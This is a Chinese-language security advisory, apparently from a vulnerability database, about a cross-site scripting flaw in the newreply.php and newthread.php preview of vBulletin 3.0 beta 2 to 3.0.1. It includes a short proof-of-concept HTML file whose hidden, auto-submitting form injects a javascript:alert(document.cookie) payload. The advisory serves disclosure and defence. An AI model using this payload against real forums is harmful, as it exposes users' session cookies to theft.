vBulletin newreply.php跨站脚本(CSS/XSS)漏洞


添加时间:
2005-08-17

系统编号:
WAVDB-00484
BUGTRAQ: 10612

影响版本:
VBulletin 3.0 beta 2-3.0.1

程序介绍:

vBulletin是一个专业、便宜的社区论坛解决方案。数千客户，包括很多产业旗舰公司，选择了 vBulletin——它是所有中到大型网站社区的理想的选择。 使用它您的网站便可成为信息和讨论的中心，鼓励访问者一次次的回到您的网站。使用它也是一个改进您对客户/网站用户服务的一个高效的方式。我们的专一开发团队在保持关注安全与性能的同时，持续不断的使 vBulletin 走在互联网革新的最前沿。

漏洞分析:

vBulletin包含的newreply.php没有正确过滤用户提交的URI输入，远程攻击者可以利用这个漏洞获得目标用户敏感信息如COOKIE验证信息。

当用户预览帖子时，newreply.php和newthread.php都对Preview中的输入缺少过滤，攻击者可以注入恶意脚本代码，当其他用户查看此链接时，可导致恶意代码在用户浏览器上执行，可获得基于验证的COOKIE信息。



漏洞利用:

-------------------------Remote.html-------------------------

 
  1.     <form action= http://host/newreply.php  name= vbform    
  2.     method= post  style=  
  3. visibility:hidden  
  4. >  
  5.     <input name= WYSIWYG_HTML    
  6.     value= <IMG src= javascript:alert(document.cookie) > />  
  7.          <input name= do  value= postreply />  
  8.          <input name= t  value= 123456  />  
  9.          <input name= p  value= 123456  />  
  10.          <input type= submit  class= button  name= preview />  
  11.     </form>  
  12.     <script>  
  13.       document.all.preview.click();  
  14.     </script>  
     -----------------------------End-----------------------------

解决方案:
厂商补丁：
VBulletin
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.vbulletin.com/

信息来源:
<*来源：Cheng Peng Su （apple_soup@msn.com）
    链接：http://marc.theaimsgroup.com/?l=bugtraq&m=108809720026642&w=2
*>